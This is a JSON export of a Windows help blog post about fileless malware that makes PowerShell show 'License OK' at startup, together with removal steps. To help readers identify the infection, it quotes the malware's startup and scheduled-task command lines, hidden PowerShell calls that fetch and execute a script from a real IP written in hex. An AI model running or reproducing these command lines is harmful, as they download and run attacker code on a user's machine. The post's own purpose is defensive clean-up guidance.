{"id":80414,"date":"2026-03-09T11:02:31","date_gmt":"2026-03-09T05:32:31","guid":{"rendered":"https:\/\/www.winhelponline.com\/blog\/?p=80414"},"modified":"2026-03-09T11:25:04","modified_gmt":"2026-03-09T05:55:04","slug":"powershell-license-ok-message-at-startup","status":"publish","type":"post","link":"https:\/\/www.winhelponline.com\/blog\/powershell-license-ok-message-at-startup\/","title":{"rendered":"PowerShell &#8220;License OK&#8221; message at Startup"},"content":{"rendered":"<p>When you log in to your account, PowerShell may automatically open and display the message &#8220;License OK&#8221; in the console. Here&#8217;s the full output.<!--more--><\/p>\n<pre class=\"err\">Running the environment check. Please wait...\r\n\r\nLicense OK\r\n\r\nRunning the environment check. Please wait...\r\n\r\nLicense OK\r\n\r\nIsPublic IsSerial Name BaseType\r\n-------- -------- ---- --------\r\nTrue False Datastream System.Object\r\nFalse False STARTUPINFOA System.ValueType\r\nFalse False PROCESS_INFORMATION System.ValueType\r\nBandwidth utilized: 0 %\r\nMeasurements: 1\r\nBandwidth utilized: 0.00 %\r\nBandwidth utilized: 0 %\r\nMeasurements: 1\r\nBandwidth utilized: 0.00 %\r\n<\/pre>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-80415\" src=\"https:\/\/www.winhelponline.com\/blog\/wp-content\/uploads\/2026\/03\/powershell-license-ok-error.png\" alt=\"powershell license ok error at startup\" width=\"683\" height=\"260\" \/><\/p>\n<p>And, if you have Malwarebytes installed, it may keep blocking access to the IP: <code>192.109.200.63<\/code>.<\/p>\n<h2>Cause<\/h2>\n<p>The system is infected with a fileless malware. Malware may have created a PowerShell task to download a malicious script and execute it in the background.<\/p>\n<p>If you open the Task Manager and click on the Startup tab, you may see a <strong>Windows PowerShell v1.0<\/strong> startup entry pointing to the following command-line or similar:<\/p>\n<pre>[Windows PowerShell v1.0]\r\npowershell -NoP -Exec Bypass -W Hidden -Command \"Iex(Irm 0xc0.0x6d.0xc8.0x3f\/regevent)\"\r\n<\/pre>\n<p>Also, a corresponding scheduled task named &#8220;Windows Perflog&#8221; may be present. The task&#8217;s command-line may look like the following:<\/p>\n<pre>C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -Exec Bypass -W Hidden -Command \"iex(irm 0xc0.0x6d.0xc8.0x3f\/event)\"\r\n<\/pre>\n<p>The hex code 0xc0.0x6d.0xc8.0x3f translates to the IP address <code>192.109.200.63<\/code>.<\/p>\n<h2>Resolution<\/h2>\n<p>Please remove the rogue PowerShell task and its startup entry.<\/p>\n<ol>\n<li>Open Task Manager (Ctrl+Shift+Esc) and click on the Startup tab.<\/li>\n<li>Right-click the <strong>Windows PowerShell v1.0<\/strong> entry and choose Disable.<\/li>\n<li>Select the Processes tab and terminate all <strong>PowerShell.exe<\/strong> instances.<\/li>\n<li>Close Task Manager.<\/li>\n<li>Open Task Scheduler and delete the <strong>Windows Perflog<\/strong> task.<\/li>\n<li>Restart Windows.<\/li>\n<li>Change your Windows and web account passwords, and enable 2FA for your accounts.<\/li>\n<\/ol>\n<div class=\"qt\">\n<h4>Using the Command Prompt<\/h4>\n<p>Alternatively, you can use the following commands from <a href=\"https:\/\/www.winhelponline.com\/blog\/open-elevated-command-prompt-windows\/\">admin Command Prompt<\/a> to automate the above steps:<\/p>\n<pre class=\"cmd\">reg delete \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" \/v \"Windows PowerShell v1.0\" \/f\r\n\r\nschtasks \/delete \/f \/tn \"Windows Perflog\"\r\n\r\ntaskkill \/im \"powershell.exe\" \/f\r\n\r\nshutdown \/r \/t 0\r\n<\/pre>\n<\/div>\n<p><strong>Important:<\/strong> Please follow up with a complete Malwarebytes scan and a manual Farbar scan. You can post the Farbar Scan logs on a security forum for review.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>When you log in to your account, PowerShell may automatically open and display the message &#8220;License OK&#8221; in the console. Here&#8217;s the full output.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[8,869],"tags":[191,963],"class_list":["post-80414","post","type-post","status-publish","format-standard","hentry","category-windows-10","category-windows-11","tag-error-messages","tag-malware"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"jetpack-related-posts":[{"id":44451,"url":"https:\/\/www.winhelponline.com\/blog\/microsoftsecurityapp-exe-defender-app\/","url_meta":{"origin":80414,"position":0},"title":"What is MicrosoftSecurityApp.exe","author":"Ramesh","date":"May 8, 2023","format":false,"excerpt":"MicrosoftSecurityApp.exe (located under \"c:\\program files\\windowsapps\\\") is a legit program found on both Windows 10 and Windows 11 systems. MicrosoftSecurityApp.exe is part of the Microsoft Defender store app below. Microsoft Defender - Microsoft Store Apps App description: The Microsoft Defender app helps protect your family from online threats across your devices\u2026","rel":"","context":"In &quot;Windows 10&quot;","block_context":{"text":"Windows 10","link":"https:\/\/www.winhelponline.com\/blog\/category\/microsoft\/windows\/windows-10\/"},"img":{"alt_text":"","src":"","width":0,"height":0},"classes":[]},{"id":3689,"url":"https:\/\/www.winhelponline.com\/blog\/start-windows-defender-offline-scan\/","url_meta":{"origin":80414,"position":1},"title":"How to Start Microsoft Defender Offline Scan in Windows 10\/11","author":"Ramesh","date":"August 4, 2016","format":false,"excerpt":"Malware is more complex today than it was many years ago. It operates at the filter driver, service, or rootkit level, and eliminating it is tough. Sometimes, you need to boot to the Windows RE environment and then delete the core malware files and services added to your Windows installation.\u2026","rel":"","context":"In &quot;Windows 10&quot;","block_context":{"text":"Windows 10","link":"https:\/\/www.winhelponline.com\/blog\/category\/microsoft\/windows\/windows-10\/"},"img":{"alt_text":"Microsoft Defender Offline scan - Virus and threat protection - Windows Security","src":"https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2016\/08\/wdo-scan-4.png?resize=350%2C200&ssl=1","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2016\/08\/wdo-scan-4.png?resize=350%2C200&ssl=1 1x, https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2016\/08\/wdo-scan-4.png?resize=525%2C300&ssl=1 1.5x"},"classes":[]},{"id":75873,"url":"https:\/\/www.winhelponline.com\/blog\/netsh-exe-error-0xc0000142-shutdown\/","url_meta":{"origin":80414,"position":2},"title":"Fix: Netsh.exe Error 0xc0000142 at Shutdown","author":"Ramesh","date":"July 9, 2024","format":false,"excerpt":"When you shut down or restart the computer, the netsh.exe error may appear. The full error message is below: netsh.exe - Application Error The application was unable to start correctly (0xc0000142). Click OK to close the application. The error is caused by the Samsung Quick Share application (quickshareservice.exe). It launches\u2026","rel":"","context":"In &quot;Windows 11&quot;","block_context":{"text":"Windows 11","link":"https:\/\/www.winhelponline.com\/blog\/category\/microsoft\/windows\/windows-11\/"},"img":{"alt_text":"samsung quick share uninstall - apps & features","src":"https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2024\/07\/samsung-quick-share-uninstall.png?resize=350%2C200&ssl=1","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2024\/07\/samsung-quick-share-uninstall.png?resize=350%2C200&ssl=1 1x, https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2024\/07\/samsung-quick-share-uninstall.png?resize=525%2C300&ssl=1 1.5x, https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2024\/07\/samsung-quick-share-uninstall.png?resize=700%2C400&ssl=1 2x"},"classes":[]},{"id":70989,"url":"https:\/\/www.winhelponline.com\/blog\/defender-100-cpu-usage-full-scan\/","url_meta":{"origin":80414,"position":3},"title":"[Fix] Windows Defender 100% CPU Usage During Full Scan","author":"Ramesh","date":"January 26, 2024","format":false,"excerpt":"When you run a full scan using Microsoft Defender Antivirus, about 30 seconds to 1 minute into the scan, the CPU usage spikes and uses up all the remaining CPU. Its CPU usage remains at 100% throughout the full scan. The CPU fan becomes loud. Due to this issue, systems\u2026","rel":"","context":"In &quot;Windows 10&quot;","block_context":{"text":"Windows 10","link":"https:\/\/www.winhelponline.com\/blog\/category\/microsoft\/windows\/windows-10\/"},"img":{"alt_text":"Windows Defender CPU usage during full scan - CPU throttle enabled","src":"https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2024\/01\/defender-full-scan-cpu-throttle-on.png?resize=350%2C200&ssl=1","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2024\/01\/defender-full-scan-cpu-throttle-on.png?resize=350%2C200&ssl=1 1x, https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2024\/01\/defender-full-scan-cpu-throttle-on.png?resize=525%2C300&ssl=1 1.5x, https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2024\/01\/defender-full-scan-cpu-throttle-on.png?resize=700%2C400&ssl=1 2x, https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2024\/01\/defender-full-scan-cpu-throttle-on.png?resize=1050%2C600&ssl=1 3x"},"classes":[]},{"id":6377,"url":"https:\/\/www.winhelponline.com\/blog\/calculator-does-not-work-windows-10\/","url_meta":{"origin":80414,"position":4},"title":"Fix: Calculator Does Not Work in Windows 10 or 11","author":"Ramesh","date":"August 1, 2018","format":false,"excerpt":"The built-in Calculator app is a UWP (modern) app in Windows 10 and 11. This post tells you how to fix the Windows modern Calculator app when it fails to open or crashes a moment after opening. Step 1: Reset Windows Calculator Open Settings, and click Apps Click Apps &\u2026","rel":"","context":"In &quot;Windows 10&quot;","block_context":{"text":"Windows 10","link":"https:\/\/www.winhelponline.com\/blog\/category\/microsoft\/windows\/windows-10\/"},"img":{"alt_text":"uninstall windows calculator powershell","src":"https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2018\/08\/w10-calculator-uninstall-1.png?resize=350%2C200&ssl=1","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2018\/08\/w10-calculator-uninstall-1.png?resize=350%2C200&ssl=1 1x, https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2018\/08\/w10-calculator-uninstall-1.png?resize=525%2C300&ssl=1 1.5x, https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2018\/08\/w10-calculator-uninstall-1.png?resize=700%2C400&ssl=1 2x"},"classes":[]},{"id":4568,"url":"https:\/\/www.winhelponline.com\/blog\/defender-enable-pua-pup-adware-protection\/","url_meta":{"origin":80414,"position":5},"title":"How to Enable Scanning for PUA\/PUP\/Adware in Windows Defender","author":"Ramesh","date":"November 12, 2016","format":false,"excerpt":"Windows Defender can detect and remove malware and viruses, but it doesn't catch Potentially Unwanted Programs or crapware by default. However, there is an opt-in feature that you can enable to make Microsoft Defender antivirus scan and eliminate adware, PUAs, or PUPs in real-time. Potentially Unwanted Program (PUP), Potentially Unwanted\u2026","rel":"","context":"In &quot;Windows&quot;","block_context":{"text":"Windows","link":"https:\/\/www.winhelponline.com\/blog\/category\/microsoft\/windows\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2016\/11\/windows-defender-header.png?resize=350%2C200&ssl=1","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2016\/11\/windows-defender-header.png?resize=350%2C200&ssl=1 1x, https:\/\/i0.wp.com\/www.winhelponline.com\/blog\/wp-content\/uploads\/2016\/11\/windows-defender-header.png?resize=525%2C300&ssl=1 1.5x"},"classes":[]}],"_links":{"self":[{"href":"https:\/\/www.winhelponline.com\/blog\/wp-json\/wp\/v2\/posts\/80414","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.winhelponline.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.winhelponline.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.winhelponline.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.winhelponline.com\/blog\/wp-json\/wp\/v2\/comments?post=80414"}],"version-history":[{"count":0,"href":"https:\/\/www.winhelponline.com\/blog\/wp-json\/wp\/v2\/posts\/80414\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.winhelponline.com\/blog\/wp-json\/wp\/v2\/media?parent=80414"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.winhelponline.com\/blog\/wp-json\/wp\/v2\/categories?post=80414"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.winhelponline.com\/blog\/wp-json\/wp\/v2\/tags?post=80414"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}